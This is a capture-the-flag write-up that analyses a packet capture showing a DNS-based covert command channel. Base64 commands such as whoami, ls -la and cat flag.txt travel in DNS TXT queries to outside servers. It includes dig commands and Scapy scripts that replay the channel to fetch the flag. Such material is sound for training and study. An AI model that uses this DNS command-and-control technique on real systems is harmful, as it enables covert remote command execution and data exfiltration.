Analyze PCAP traffic and replay requests with Scapy.
Information
- category : network
- points : 50
Description
One of my servers was compromised but I can’t figure it out. See if you can solve it for me!
1 file: capture.pcap
Writeup
We have a pcap files with various TLSv1.2 traffic and some DNS queries. Since we are given no keys to decrypt the TLS traffic we jump into the DNS requests first.
The first requests are the following:
We can see that the client 192.168.232.129
did a query to 35.225.16.21
of
dns.google.com
and got in response: 35.188.185.68
.
The next requests were to 35.188.185.68
:
If we follow the traffic, is a base64 encoded text, which decoded is:
192.168.232.129 -> 35.188.185.68 > d2hvYW1pCg==: whoami
35.188.185.68 -> 192.168.232.129 < cm9vdA==: root
192.168.232.129 -> 35.188.185.68 > bHMgLWxhCg==: ls -la
35.188.185.68 -> 192.168.232.129 <
dG90YWwgMjUxMgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IE1hciAgNiAwNDo0NCAuCmRyd3hyLXhyLXggICAgMSByb290ICAgICByb290ICAgICAgICAgIDQwOTYgTWFyICA2IDA4OjA5IC4uCi1ydy1yLS1yLS0gICAgMSByb290ICAgICByb290ICAgICAgICAgMTIyODggTWFyICA2IDA0OjQyIC5NYWtlZmlsZS5zd3AKLXJ3LXItLXItLSAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgIDEwNCBNYXIgIDUgMjM6NTAgRG9ja2VyZmlsZQotcnctci0tci0tICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICAgMTE5IE1hciAgNSAyMzo1MCBNYWtlZmlsZQotcnctci0tci0tICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICAgIDI4IE1hciAgNSAyMzo1MCBmbGFnLnR4dAotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAyNTMzODIzIE1hciAgNiAwNDo0NCBzZXJ2ZXIKLXJ3LXItLXItLSAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgMTY5MyBNYXIgIDUgMjM6NTAgc2VydmVyLmdv:
total 2512
drwxr-xr-x 1 root root 4096 Mar 6 04:44 .
drwxr-xr-x 1 root root 4096 Mar 6 08:09 ..
-rw-r--r-- 1 root root 12288 Mar 6 04:42 .Makefile.swp
-rw-r--r-- 1 root root 104 Mar 5 23:50 Dockerfile
-rw-r--r-- 1 root root 119 Mar 5 23:50 Makefile
-rw-r--r-- 1 root root 28 Mar 5 23:50 flag.txt
-rwxr-xr-x 1 root root 2533823 Mar 6 04:44 server
-rw-r--r-- 1 root root 1693 Mar 5 23:50 server.go
So the first thing I did was to query to 35.188.185.68
the base64 of cat flag.txt
,
but it didn’t work. I thought that I was crafting badly the request with dig
,
so I used scapy to do a copy of the same query:
from scapy.all import *
import base64
packets = rdpcap("./capture.pcap")
dns_query = packets[42]
sender = IP(dst="35.188.185.68")/UDP()/DNS()
sender[DNS] = dns_query[DNS]
sender[DNS].qd.qname = base64.b64encode(b'cat flag.txt').decode()
rec = sr1(sender)
print(rec.show())
Needless to say it didn’t work.
Now what?
Well the address I was trying to query is derived from from another dns query to
35.225.16.21
, so I tried to query the host:
$ dig -t TXT -q dns.google.com @35.225.16.21
; <<>> DiG 9.16.0 <<>> -t TXT -q dns.google.com @35.225.16.21
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47829
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns.google.com. IN TXT
;; ANSWER SECTION:
dns.google.com. 4919 IN A 3.88.57.227
;; Query time: 186 msec
;; SERVER: 35.225.16.21#53(35.225.16.21)
;; WHEN: Mon Mar 09 17:52:17 CET 2020
;; MSG SIZE rcvd: 48
And we got a new address: 3.88.57.227
, let’s try to use dig
against the new
address:
$ dig -t TXT -q $(echo "cat flag.txt" | base64) @3.88.57.227
; <<>> DiG 9.16.0 <<>> -t TXT -q Y2F0IGZsYWcudHh0Cg== @3.88.57.227
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 56905
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;Y2F0IGZsYWcudHh0Cg==. IN TXT
;; ANSWER SECTION:
Y2F0IGZsYWcudHh0Cg==. 4919 IN TXT "dXRmbGFneyRhbDF5X3MzTDFTX3NFNF9kTiR9"
;; Query time: 196 msec
;; SERVER: 3.88.57.227#53(3.88.57.227)
;; WHEN: Mon Mar 09 17:53:55 CET 2020
;; MSG SIZE rcvd: 87
Yeah got the flag, alternatively this is scapy script I used:
#!/usr/bin/env python3
from scapy.all import *
import base64
packets = rdpcap("./capture.pcap")
dns_google = packets[20]
dns_query = packets[42]
sender = IP()/UDP()/DNS()
sender[DNS] = dns_google[DNS]
sender[IP].dst = dns_google[IP].dst
rec = sr1(sender)
dns_server = rec[DNS].an.rdata
sender = IP(dst=dns_server)/UDP()/DNS()
sender[DNS] = dns_query[DNS]
sender[DNS].qd.qname = base64.b64encode(b'cat flag.txt').decode()
rec = sr1(sender)
flag = rec[DNS].an.rdata
print(base64.b64decode(flag[0]))
Output:
Flag
utflag{$al1y_s3L1S_sE4_dN$}